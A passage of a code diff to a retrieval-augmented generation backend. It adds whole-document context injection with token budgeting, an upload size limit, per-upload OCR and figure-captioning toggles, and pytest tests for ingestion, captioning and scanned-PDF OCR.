+        f"WHERE c.scope IN ({placeholders}) AND d.status='completed' "
+        f"ORDER BY d.created_at, c.document_id, c.chunk_index",
+        list(scopes),
+    ).fetchall()
+    return [dict(r) for r in rows]
+
+
+def scope_token_estimate(conn: sqlite3.Connection, scope) -> int:
+    """Upper-bound token total for a scope's completed chunks without hydrating text.
+    Mirrors ``all_chunks_for_scope`` + the ``tool._row_token_count`` fallback (stored
+    count, else length/4), so the whole-doc budget can be checked before loading text."""
+    scopes = _scopes(scope)
+    if not scopes:
+        return 0
+    placeholders = ",".join("?" * len(scopes))
+    row = conn.execute(
+        f"SELECT COALESCE(SUM(CASE WHEN c.token_count > 0 THEN c.token_count "
+        f"ELSE MAX(1, length(COALESCE(c.text, '')) / 4) END), 0) AS total "
+        f"FROM chunks c JOIN documents d ON d.id=c.document_id "
+        f"WHERE c.scope IN ({placeholders}) AND d.status='completed'",
+        list(scopes),
+    ).fetchone()
+    return int(row["total"] or 0)
diff --git a/studio/backend/core/rag/tool.py b/studio/backend/core/rag/tool.py
index ccb1b47e63..b05f8dd3a3 100644
--- a/studio/backend/core/rag/tool.py
+++ b/studio/backend/core/rag/tool.py
@@ -16,7 +16,13 @@ from xml.sax.saxutils import quoteattr
 from storage import rag_db
 
 from . import config, retrieval
-from .store import kb_scope, project_scope, thread_scope
+from .store import (
+    all_chunks_for_scope,
+    kb_scope,
+    project_scope,
+    scope_token_estimate,
+    thread_scope,
+)
 
 SEARCH_KNOWLEDGE_BASE_TOOL = {
     "type": "function",
@@ -90,6 +96,30 @@ def _format(rows, hits) -> tuple[str, list[dict]]:
     return "\n\n".join(blocks), sources
 
 
+def render_sources(sources: list[dict]) -> str:
+    """Render a citation-source list to sequentially-numbered ``<chunk>`` blocks,
+    rewriting each source's ``citationId`` to match its 1-based position. Lets
+    independently-built source lists (a whole-document thread attachment plus
+    retrieved project passages) be merged under one citation numbering."""
+    blocks: list[str] = []
+    for i, s in enumerate(sources, 1):
+        s["citationId"] = i
+        src = quoteattr(s.get("filename") or "unknown")
+        page = s.get("page")
+        page_attr = f" page={quoteattr(str(page))}" if page else ""
+        blocks.append(f'<chunk id="{i}" source={src}{page_attr}>\n{s.get("text") or ""}\n</chunk>')
+    return "\n\n".join(blocks)
+
+
+def _row_token_count(row) -> int:
+    """Chunk token count for budgeting, falling back to a length estimate when the
+    stored count is missing or zero, so a malformed chunk cannot bypass the budget."""
+    tc = row["token_count"]
+    if tc:
+        return int(tc)
+    return max(1, len(row["text"] or "") // 4)
+
+
 def search_knowledge_base_with_sources(
     *,
     query: str,
@@ -186,6 +216,55 @@ def search_for_autoinject(
     return (text, sources) if sources else None
 
 
+def whole_document_context(
+    *, scope_thread_id: str | None = None, max_tokens: int
+) -> tuple[str, list[dict]] | None:
+    """Render EVERY chunk of the THREAD's attached documents (in order) as the same
+    ``<chunk>`` blocks + citation source-map as retrieval, so the model reads the whole
+    file rather than top-K passages. Thread-attached files only: KB and project corpora
+    are search corpora, never whole-document, so this resolves the thread scope alone.
+    ``None`` (caller falls back to retrieval) when there is no thread scope, no completed
+    chunks, or the total exceeds ``max_tokens``."""
+    if not scope_thread_id:
+        return None
+    # A non-positive budget means "never inject" (disable whole-doc via
+    # RAG_THREAD_WHOLE_DOC=0), not "inject the whole corpus unbounded".
+    if max_tokens <= 0:
+        return None
+    scope = thread_scope(scope_thread_id)
+    conn = rag_db.get_connection()
+    try:
+        # Cheap budget pre-check (SUM, no text hydration): reject an oversized attachment
+        # before loading the whole corpus; all_chunks_for_scope runs only once it fits.
+        if scope_token_estimate(conn, scope) > max_tokens:
+            return None
+        rows = all_chunks_for_scope(conn, scope)
+    finally:
+        conn.close()
+    if not rows:
+        return None
+    total = sum(_row_token_count(r) for r in rows)
+    if total > max_tokens:
+        return None
+
+    sources: list[dict] = [
+        {
+            "citationId": i,
+            "chunkId": r["id"],
+            "documentId": r["document_id"],
+            "filename": r["filename"] or "unknown",
+            "page": r["page_number"],
+            "text": r["text"] or "",
+            "score": None,
+        }
+        for i, r in enumerate(rows, 1)
+    ]
+    rendered = render_sources(sources)
+    if max(1, len(rendered) // 4) > max_tokens:
+        return None
+    return rendered, sources
+
+
 def search_knowledge_base(
     *,
     query: str,
diff --git a/studio/backend/requirements/no-torch-runtime.txt b/studio/backend/requirements/no-torch-runtime.txt
index 9796fc3a50..de321f80ed 100644
--- a/studio/backend/requirements/no-torch-runtime.txt
+++ b/studio/backend/requirements/no-torch-runtime.txt
@@ -73,4 +73,9 @@ pillow
 # this file installs --no-deps; without them Studio runs with RAG disabled.
 sqlite-vec==0.1.9
 pymupdf==1.27.2.3
+# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the
+# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown().
+pymupdf4llm==0.3.4
 python-docx==1.2.0
+
+lxml==6.0.2
diff --git a/studio/backend/requirements/studio.txt b/studio/backend/requirements/studio.txt
index 1b7f7a668c..6f4a5c3292 100644
--- a/studio/backend/requirements/studio.txt
+++ b/studio/backend/requirements/studio.txt
@@ -22,4 +22,7 @@ fastmcp>=3.0.2
 # extras-no-deps.txt; these add the lexical+dense store and document parsing.
 sqlite-vec==0.1.9
 pymupdf==1.27.2.3
+# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the
+# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown().
+pymupdf4llm==0.3.4
 python-docx==1.2.0
diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py
index 8d23240fd5..4e35fce3c2 100644
--- a/studio/backend/routes/rag.py
+++ b/studio/backend/routes/rag.py
@@ -19,7 +19,7 @@ import secrets
 import time
 import uuid
 
-from fastapi import APIRouter, Depends, File, HTTPException, Query, UploadFile
+from fastapi import APIRouter, Depends, File, Form, HTTPException, Query, UploadFile
 from fastapi.responses import FileResponse, StreamingResponse
 from pydantic import BaseModel, Field
 
@@ -62,13 +62,24 @@ def _save_upload(file: UploadFile) -> tuple[str, str]:
     uploads = ensure_dir(rag_uploads_root())
     stored_path = str(uploads / f"{uuid.uuid4().hex}{ext}")
     size = 0
+    cap = config.MAX_UPLOAD_BYTES
+    too_big = False
     with open(stored_path, "wb") as out:
         while True:
             block = file.file.read(1 << 20)
             if not block:
                 break
             size += len(block)
+            if cap and size > cap:
+                too_big = True
+                break
             out.write(block)
+    if too_big:
+        os.remove(stored_path)
+        raise HTTPException(
+            status_code = 413,
+            detail = f"File exceeds the {cap // (1024 * 1024)} MB upload limit.",
+        )
     if size == 0:
         os.remove(stored_path)
         raise HTTPException(status_code = 400, detail = "Uploaded file is empty.")
@@ -207,6 +218,8 @@ def delete_knowledge_base(kb_id: str, subject: str = Depends(get_current_subject
 async def upload_kb_document(
     kb_id: str,
     file: UploadFile = File(...),
+    ocr: bool | None = Form(None),
+    caption: bool | None = Form(None),
     subject: str = Depends(get_current_subject),
 ) -> dict:
     _require_rag()
@@ -218,7 +231,7 @@ async def upload_kb_document(
         conn.close()
     stored_path, filename = _save_upload(file)
     document_id, job_id = ingestion.start_ingestion(
-        store.kb_scope(kb_id), kb_id, None, filename, stored_path
+        store.kb_scope(kb_id), kb_id, None, filename, stored_path, ocr = ocr, caption = caption
     )
     return {"documentId": document_id, "jobId": job_id, "filename": filename}
 
@@ -238,12 +251,20 @@ def list_kb_documents(kb_id: str, subject: str = Depends(get_current_subject)) -
 async def upload_thread_document(
     thread_id: str,
     file: UploadFile = File(...),
+    ocr: bool | None = Form(None),
+    caption: bool | None = Form(None),
     subject: str = Depends(get_current_subject),
 ) -> dict:
     _require_rag()
     stored_path, filename = _save_upload(file)
     document_id, job_id = ingestion.start_ingestion(
-        store.thread_scope(thread_id), None, thread_id, filename, stored_path
+        store.thread_scope(thread_id),
+        None,
+        thread_id,
+        filename,
+        stored_path,
+        ocr = ocr,
+        caption = caption,
     )
     return {"documentId": document_id, "jobId": job_id, "filename": filename}
 
@@ -263,6 +284,8 @@ def list_thread_documents(thread_id: str, subject: str = Depends(get_current_sub
 async def upload_project_document(
     project_id: str,
     file: UploadFile = File(...),
+    ocr: bool | None = Form(None),
+    caption: bool | None = Form(None),
     subject: str = Depends(get_current_subject),
 ) -> dict:
     _require_rag()
@@ -278,6 +301,8 @@ async def upload_project_document(
         filename,
         stored_path,
         project_id = project_id,
+        ocr = ocr,
+        caption = caption,
     )
     return {"documentId": document_id, "jobId": job_id, "filename": filename}
 
@@ -321,6 +346,7 @@ def job_status(job_id: str, subject: str = Depends(get_current_subject)) -> dict
         "stage": row.get("stage"),
         "progress": row.get("progress") or 0.0,
         "error": row.get("error"),
+        "numChunks": row.get("num_chunks") or 0,
     }
 
 
diff --git a/studio/backend/storage/rag_db.py b/studio/backend/storage/rag_db.py
index 4da600d768..ce27326562 100644
--- a/studio/backend/storage/rag_db.py
+++ b/studio/backend/storage/rag_db.py
@@ -119,6 +119,10 @@ def get_connection() -> sqlite3.Connection:
     ensure_dir(db_path.parent)
     conn = sqlite3.connect(str(db_path))
     conn.row_factory = sqlite3.Row
+    # Wait for a lock instead of erroring immediately: a figure/scan-heavy ingest can
+    # hold its connection across many seconds of vision calls, and a concurrent ingest
+    # or autoinject read would otherwise hit "database is locked".
+    conn.execute("PRAGMA busy_timeout = 5000")
     try:
         conn.enable_load_extension(True)
         sqlite_vec.load(conn)
diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py
index 5d83a7d38d..f475c9e374 100644
--- a/studio/backend/tests/test_rag_captioning.py
+++ b/studio/backend/tests/test_rag_captioning.py
@@ -13,13 +13,15 @@ def _img(page):
     return ParsedImage(image_bytes = b"\x89PNG fake", page_number = page, xref = page)
 
 
-def test_caption_images_disabled_by_default(monkeypatch):
+def test_caption_images_runs_when_images_present(monkeypatch):
+    # Policy lives in ingestion (_run); caption_images captions given images + endpoint.
     monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False)
-    assert captioner.caption_images([_img(1)], endpoint = ("http://x", "local")) == {}
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "a chart")
+    out = captioner.caption_images([_img(1)], endpoint = ("http://x", "local"))
+    assert out == {1: ["a chart"]}
 
 
 def test_caption_images_groups_by_page(monkeypatch):
-    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
     monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 8)
     monkeypatch.setattr(captioner, "_caption_one", lambda base, model, b, t: "a chart of results")
     out = captioner.caption_images([_img(1), _img(1), _img(3)], endpoint = ("http://x", "local"))
@@ -27,7 +29,6 @@ def test_caption_images_groups_by_page(monkeypatch):
 
 
 def test_caption_images_respects_cap(monkeypatch):
-    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
     monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 2)
     calls = []
     monkeypatch.setattr(captioner, "_caption_one", lambda *a: (calls.append(1) or "cap"))
@@ -36,11 +37,183 @@ def test_caption_images_respects_cap(monkeypatch):
 
 
 def test_caption_images_no_endpoint(monkeypatch):
-    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
     monkeypatch.setattr(captioner, "vision_endpoint", lambda: None)
     assert captioner.caption_images([_img(1)]) == {}
 
 
+def test_caption_runaway_guard_applied(monkeypatch):
+    # A looping vision model must not flood the index; captions pass _collapse_runaway.
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "\n".join(["LOOP"] * 40))
+    out = captioner.caption_images([_img(1)], endpoint = ("http://x", "local"))
+    assert out[1][0].splitlines().count("LOOP") == 3  # 40 -> 3
+
+
+def test_caption_prompt_and_token_budget(monkeypatch):
+    # Caption and OCR keep separate prompts + token caps over the shared _vision_complete.
+    captured: dict = {}
+
+    def fake_vision_complete(base_url, model, image_bytes, *, prompt, timeout, max_tokens):
+        captured.update(prompt = prompt, timeout = timeout, max_tokens = max_tokens)
+        return "ok"
+
+    monkeypatch.setattr(captioner, "_vision_complete", fake_vision_complete)
+    monkeypatch.setattr(captioner.config, "CAPTION_MAX_TOKENS", 277)
+
+    captioner._caption_one("http://x", "local", b"img", 12.0)
+    prompt = captured["prompt"].lower()
+    # Unified prompt: transcribe every label (recall) + axis/legend coverage + describe.
+    assert "transcribe" in prompt
+    assert ("axis" in prompt or "axes" in prompt) and "legend" in prompt
+    assert "do not invent" in prompt
+    assert captured["max_tokens"] == 277
+    assert captured["timeout"] == 12.0
+
+    captured.clear()
+    monkeypatch.setattr(captioner.config, "OCR_MAX_TOKENS", 999)
+    captioner._ocr_one("http://x", "local", b"img", 5.0)
+    assert captured["max_tokens"] == 999
+    assert "transcribe" in captured["prompt"].lower()
+
+
+def test_pages_with_figures_and_tiles(tmp_path):
+    from core.rag import parsers
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    pgs = parsers.pages_with_figures(str(pdf), max_pages = 4)
+    assert pgs == [1]
+    tiles = parsers.render_pdf_figure_tiles(str(pdf), pgs, rows = 2, cols = 2, fullpage = True)
+    assert len(tiles) == 5  # full page + 2x2 grid
+    assert all(t.image_bytes[:8] == b"\x89PNG\r\n\x1a\n" and t.page_number == 1 for t in tiles)
+    capped = parsers.render_pdf_figure_tiles(
+        str(pdf), pgs, rows = 2, cols = 2, fullpage = True, max_tiles = 3
+    )
+    assert len(capped) == 3  # max_tiles budget honored
+
+
+def test_render_pdf_figure_tiles_zero_grid_no_crash(tmp_path):
+    # A misconfigured rows/cols=0 must clamp to 1, not raise ZeroDivisionError.
+    import pymupdf
+
+    from core.rag import parsers
+
+    pdf = tmp_path / "blank.pdf"
+    doc = pymupdf.open()
+    doc.new_page()
+    doc.save(str(pdf))
+    doc.close()
+
+    out = parsers.render_pdf_figure_tiles(str(pdf), [1], rows = 0, cols = 0, fullpage = True)
+    assert len(out) == 2  # full page + a single 1x1 tile, no crash
+
+
+def test_pages_with_figures_excludes_given_pages(tmp_path):
+    # Pages OCR already transcribed (passed as exclude_pages) are skipped; every other
+    # figure page is still returned for tiling.
+    import pymupdf
+
+    from core.rag import parsers
+
+    def _draw_chart(page):
+        shape = page.new_shape()
+        shape.draw_rect(pymupdf.Rect(60, 140, 540, 520))
+        for i in range(8):
+            shape.draw_line((80, 160 + i * 40), (520, 160 + i * 40))
+        shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9))
+        shape.commit()
+
+    pdf = tmp_path / "charts.pdf"
+    doc = pymupdf.open()
+    _draw_chart(doc.new_page())
+    _draw_chart(doc.new_page())
+    doc.save(str(pdf))
+    doc.close()
+
+    assert parsers.pages_with_figures(str(pdf), max_pages = 4) == [1, 2]
+    assert parsers.pages_with_figures(str(pdf), max_pages = 4, exclude_pages = {1}) == [2]
+    assert parsers.pages_with_figures(str(pdf), max_pages = 4, exclude_pages = {2}) == [1]
+
+
+def test_run_skips_figure_work_without_vision_model(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # No vision model -> the whole figure pass (detection + rasterization) is skipped.
+    from core.rag import parsers
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: None)
+    touched: list[str] = []
+    monkeypatch.setattr(
+        parsers, "pages_with_figures", lambda *a, **k: touched.append("detect") or []
+    )
+    monkeypatch.setattr(
+        parsers, "render_pdf_figure_tiles", lambda *a, **k: touched.append("render") or []
+    )
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    _ingest_with_caption(rag_conn, "t1", pdf, None)  # follow config (ON), but no model
+    assert touched == []  # neither figure detection nor tiling ran
+
+
+def test_vision_complete_sends_auth_header(monkeypatch):
+    # Direct-stream serves llama-server with --api-key; vision calls must send the bearer.
+    import httpx
+
+    monkeypatch.setattr(
+        captioner, "_vision_auth_headers", lambda: {"Authorization": "Bearer secret"}
+    )
+    captured: dict = {}
+
+    class _Resp:
+        def raise_for_status(self):
+            pass
+
+        def json(self):
+            return {"choices": [{"message": {"content": "ok"}}]}
+
+    def fake_post(url, *, json, timeout, headers):
+        captured.update(url = url, headers = headers)
+        return _Resp()
+
+    monkeypatch.setattr(httpx, "post", fake_post)
+    out = captioner._vision_complete(
+        "http://x", "local", b"img", prompt = "p", timeout = 5.0, max_tokens = 8
+    )
+    assert out == "ok"
+    assert captured["headers"] == {"Authorization": "Bearer secret"}
+
+
+def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
+    # No api-key configured -> no spurious Authorization header on plain llama-server.
+    import httpx
+
+    monkeypatch.setattr(captioner, "_vision_auth_headers", lambda: None)
+    captured: dict = {}
+
+    class _Resp:
+        def raise_for_status(self):
+            pass
+
+        def json(self):
+            return {"choices": [{"message": {"content": "ok"}}]}
+
+    def fake_post(url, *, json, timeout, headers):
+        captured["headers"] = headers
+        return _Resp()
+
+    monkeypatch.setattr(httpx, "post", fake_post)
+    captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8)
+    assert captured["headers"] is None
+
+
+def test_merge_page_captions_dedups():
+    out = captioner.merge_page_captions({1: ["MatMul\nScale", "Scale\nSoftMax"]})
+    text = out[1][0]
+    assert text.lower().count("scale") == 1  # repeated label from overlapping tiles dropped
+    assert "MatMul" in text and "SoftMax" in text
+
+
 def test_splice_captions_appends_to_right_page():
     pages = [Page("body one", 1, 8), Page("body two", 2, 8)]
     out = captioner.splice_captions(pages, {2: ["a diagram of X"]})
@@ -55,29 +228,6 @@ def test_splice_captions_noop_when_empty():
     assert captioner.splice_captions(pages, {}) is pages
 
 
-def test_render_pdf_figures_detects_drawing(tmp_path):
-    import pymupdf
-
-    from core.rag.parsers import render_pdf_figures
-
-    pdf = tmp_path / "fig.pdf"
-    doc = pymupdf.open()
-    page = doc.new_page()
-    shape = page.new_shape()
-    shape.draw_rect(pymupdf.Rect(60, 60, 540, 460))
-    for i in range(8):
-        shape.draw_line((80, 80 + i * 40), (520, 80 + i * 40))
-    shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9))
-    shape.commit()
-    doc.save(str(pdf))
-    doc.close()
-
-    figs = render_pdf_figures(str(pdf))
-    assert figs, "expected at least one rendered figure region"
-    assert figs[0].image_bytes[:8] == b"\x89PNG\r\n\x1a\n"
-    assert figs[0].page_number == 1
-
-
 def test_captioned_text_is_searchable(rag_home, stub_embeddings, monkeypatch):
     from core.rag import retrieval, store
     from storage import rag_db
@@ -103,3 +253,100 @@ def test_captioned_text_is_searchable(rag_home, stub_embeddings, monkeypatch):
     finally:
         conn.close()
     assert hits, "spliced caption text should be retrievable via lexical search"
+
+
+# ── per-upload caption override (parallels test_rag_ocr_fallback.py) ──
+
+
+def _figure_pdf(path):
+    """A born-digital PDF: a page with real text (so it is not treated as scanned)
+    plus a vector drawing region that figure detection picks up as a figure."""
+    import pymupdf
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_textbox(
+        pymupdf.Rect(40, 40, 550, 120),
+        "Quarterly revenue report. The chart below shows the trend.",
+        fontsize = 11,
+    )
+    shape = page.new_shape()
+    shape.draw_rect(pymupdf.Rect(60, 140, 540, 520))
+    for i in range(8):
+        shape.draw_line((80, 160 + i * 40), (520, 160 + i * 40))
+    shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9))
+    shape.commit()
+    doc.save(str(path))
+    doc.close()
+
+
+def _ingest_with_caption(rag_conn, thread_id, path, caption):
+    from core.rag import ingestion, store
+
+    scope = store.thread_scope(thread_id)
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = "fig.pdf",
+        sha256 = str(path) + str(caption),
+        thread_id = thread_id,
+        status = "pending",
+        stored_path = str(path),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    # _run(job_id, document_id, scope, stored_path, model_name, ocr, caption)
+    ingestion._run(job_id, document_id, scope, str(path), None, None, caption)
+    return store.get_document(rag_conn, document_id)
+
+
+def test_caption_override_true_runs_when_config_off(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default OFF, but the per-upload toggle (caption=True) forces captioning.
+    from core.rag import tool
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "bar chart of revenue wombat-7")
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    _ingest_with_caption(rag_conn, "t1", pdf, True)
+
+    text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "wombat-7" in text  # the spliced figure caption reached the index
+
+
+def test_caption_override_false_skips_when_config_on(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default ON, but the per-upload toggle (caption=False) skips captioning.
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    called = []
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: called.append(1) or "should not run")
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    _ingest_with_caption(rag_conn, "t1", pdf, False)
+
+    assert called == []  # no vision caption calls despite config ON
+
+
+def test_caption_none_follows_config(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    # Omitted override (None) falls back to config.CAPTION_IMAGES.
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    seen = []
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: seen.append(1) or "chart caption")
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False)
+    pdf_off = tmp_path / "off.pdf"
+    _figure_pdf(pdf_off)
+    _ingest_with_caption(rag_conn, "t1", pdf_off, None)
+    assert seen == []  # config OFF + no override -> no captioning
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    pdf_on = tmp_path / "on.pdf"
+    _figure_pdf(pdf_on)
+    _ingest_with_caption(rag_conn, "t2", pdf_on, None)
+    assert seen  # config ON + no override -> captioning runs
diff --git a/studio/backend/tests/test_rag_ingestion.py b/studio/backend/tests/test_rag_ingestion.py
index f0b71bc23b..7e9e803687 100644
--- a/studio/backend/tests/test_rag_ingestion.py
+++ b/studio/backend/tests/test_rag_ingestion.py
@@ -83,6 +83,34 @@ def test_ingestion_dedupe_by_hash(rag_home, stub_embeddings, tmp_path):
         conn.close()
 
 
+def test_ingestion_reingests_when_existing_has_zero_chunks(rag_home, stub_embeddings, tmp_path):
+    # A prior ingest of identical bytes that yielded no chunks (e.g. a scanned PDF
+    # before a vision model loaded) must re-ingest, not dedupe to the empty record.
+    path = _write(tmp_path, "doc.txt", "alpha bravo charlie " * 50)
+    sha = ingestion._sha256_file(path)
+    scope = store.kb_scope("K1")
+    conn = rag_db.get_connection()
+    try:
+        empty_id = store.create_document(conn, scope = scope, filename = "old.txt", sha256 = sha)
+        store.set_document_status(conn, empty_id, "completed", num_chunks = 0)
+    finally:
+        conn.close()
+
+    doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "doc.txt", path)
+    events = _drain(job_id)
+    _wait_completed(job_id)
+
+    assert not any(e.get("deduped") for e in events)  # not a dedupe -> real ingest
+    assert doc_id != empty_id
+    conn = rag_db.get_connection()
+    try:
+        docs = store.list_documents(conn, scope)
+        assert len(docs) == 1  # the empty record was removed, replaced by the new one
+        assert docs[0]["num_chunks"] > 0
+    finally:
+        conn.close()
+
+
 def test_ingestion_dedupe_removes_duplicate_upload(rag_home, stub_embeddings):
     from utils.paths import ensure_dir, rag_uploads_root
 
@@ -210,6 +238,41 @@ def test_delete_document_route_removes_stored_upload(rag_home):
         conn.close()
 
 
+def test_get_job_status_includes_num_chunks(rag_home, stub_embeddings, tmp_path):
+    # The poll/reconcile path reads num_chunks from get_job_status (the SSE complete
+    # frame carries it, but a client that falls back to polling needs it here too).
+    path = _write(tmp_path, "doc.txt", "alpha bravo charlie " * 50)
+    scope = store.kb_scope("K1")
+    _doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "doc.txt", path)
+    _drain(job_id)
+    _wait_completed(job_id)
+    status = ingestion.get_job_status(job_id)
+    assert status["status"] == "completed"
+    assert status["num_chunks"] and status["num_chunks"] > 0
+
+
+def test_save_upload_rejects_oversize_file(rag_home, monkeypatch):
+    # A file over the cap is rejected (413) and its partial bytes are cleaned up.
+    import io
+
+    from fastapi import HTTPException
+
+    from core.rag import config
+    from routes import rag as rag_routes
+    from utils.paths import rag_uploads_root
+
+    monkeypatch.setattr(config, "MAX_UPLOAD_BYTES", 1024)
+
+    class _Up:
+        filename = "big.txt"
+        file = io.BytesIO(b"x" * 4096)
+
+    with pytest.raises(HTTPException) as ei:
+        rag_routes._save_upload(_Up())
+    assert ei.value.status_code == 413
+    assert list(rag_uploads_root().glob("*.txt")) == []  # partial upload removed
+
+
 def test_ingestion_delete_removes_all_rows(rag_home, stub_embeddings, tmp_path):
     path = _write(tmp_path, "doc.txt", "alpha bravo charlie delta")
     scope = store.kb_scope("K1")
diff --git a/studio/backend/tests/test_rag_ocr_fallback.py b/studio/backend/tests/test_rag_ocr_fallback.py
new file mode 100644
index 0000000000..c7be1fe60b
--- /dev/null
+++ b/studio/backend/tests/test_rag_ocr_fallback.py
@@ -0,0 +1,259 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Scanned-PDF OCR fallback: a PDF page with no text layer is rendered and transcribed
+by the vision model during ingestion, so image-only PDFs become searchable. The vision
+call is stubbed, so no model is needed."""
+
+import pymupdf
+
+from core.rag import captioner, ingestion, parsers, store, tool
+
+
+def _image_only_pdf(path, *, pages = 1):
+    """A PDF whose pages carry only a raster image, so get_text returns ''."""
+    doc = pymupdf.open()
+    pix = pymupdf.Pixmap(pymupdf.csRGB, pymupdf.IRect(0, 0, 120, 120))
+    pix.clear_with(220)
+    for _ in range(pages):
+        page = doc.new_page()
+        page.insert_image(page.rect, pixmap = pix)
+    doc.save(str(path))
+    doc.close()
+
+
+def _text_pdf(path, body):
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_textbox(pymupdf.Rect(40, 40, 550, 800), body, fontsize = 11)
+    doc.save(str(path))
+    doc.close()
+
+
+def _ingest(rag_conn, thread_id, filename, path):
+    """Drive the real ingestion worker synchronously and return the document row."""
+    scope = store.thread_scope(thread_id)
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = filename,
+        sha256 = filename,
+        thread_id = thread_id,
+        status = "pending",
+        stored_path = str(path),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    ingestion._run(job_id, document_id, scope, str(path), None)
+    return store.get_document(rag_conn, document_id)
+
+
+# ── parsers.render_pdf_pages ─────────────────────────────────────────
+
+
+def test_render_pdf_pages_returns_png_per_page(tmp_path):
+    pdf = tmp_path / "two.pdf"
+    _image_only_pdf(pdf, pages = 2)
+    out = parsers.render_pdf_pages(str(pdf), [1, 2], dpi = 72)
+    assert set(out) == {1, 2}
+    assert all(b.startswith(b"\x89PNG") for b in out.values())
+
+
+def test_render_pdf_pages_excludes_unwanted(tmp_path):
+    pdf = tmp_path / "three.pdf"
+    _image_only_pdf(pdf, pages = 3)
+    out = parsers.render_pdf_pages(str(pdf), [2], dpi = 72)
+    assert set(out) == {2}
+
+
+def test_render_pdf_pages_empty_request(tmp_path):
+    pdf = tmp_path / "one.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    assert parsers.render_pdf_pages(str(pdf), [], dpi = 72) == {}
+
+
+# ── captioner.ocr_pages gating ───────────────────────────────────────
+
+
+def test_ocr_pages_no_endpoint(monkeypatch):
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: None)
+    assert captioner.ocr_pages({1: b"x"}) == {}
+
+
+def test_collapse_runaway_caps_repeated_lines():
+    # A looping model repeats a line hundreds of times; the guard caps it, keeps repeats.
+    text = "\n".join(["TITLE"] * 200 + ["body"] + ["Add & Norm"] * 3)
+    out = captioner._collapse_runaway(text)
+    lines = out.splitlines()
+    assert lines.count("TITLE") == 3  # 200 -> 3
+    assert lines.count("Add & Norm") == 3  # legitimate triple survives
+    assert "body" in lines
+
+
+def test_collapse_runaway_caps_interleaved_repeats():
+    # Models also loop non-consecutively; the global per-line cap bounds those too.
+    text = "\n".join(["Llion Vaswani Google", "Niki Parmar Google"] * 40)
+    out = captioner._collapse_runaway(text)
+    lines = [ln for ln in out.splitlines() if ln.strip()]
+    assert lines.count("Llion Vaswani Google") <= 8
+    assert lines.count("Niki Parmar Google") <= 8
+
+
+def test_collapse_runaway_noop_on_normal_text():
+    text = "Heading\n\nFirst paragraph.\nSecond paragraph.\n\nFooter"
+    assert captioner._collapse_runaway(text) == text
+
+
+def test_ocr_pages_applies_runaway_guard(monkeypatch):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "\n".join(["X"] * 50))
+    out = captioner.ocr_pages({1: b"img"}, endpoint = ("http://x", "local"))
+    assert out[1].splitlines().count("X") == 3  # guard applied to stored text
+
+
+def test_ocr_pages_transcribes_and_caps(monkeypatch):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner.config, "OCR_MAX_PAGES", 1)
+    calls = []
+    monkeypatch.setattr(
+        captioner,
+        "_ocr_one",
+        lambda base, model, b, t: (calls.append(1) or "transcribed text"),
+    )
+    out = captioner.ocr_pages({1: b"a", 2: b"b"}, endpoint = ("http://x", "local"))
+    assert out == {1: "transcribed text"}  # page 2 dropped by the cap
+    assert len(calls) == 1
+
+
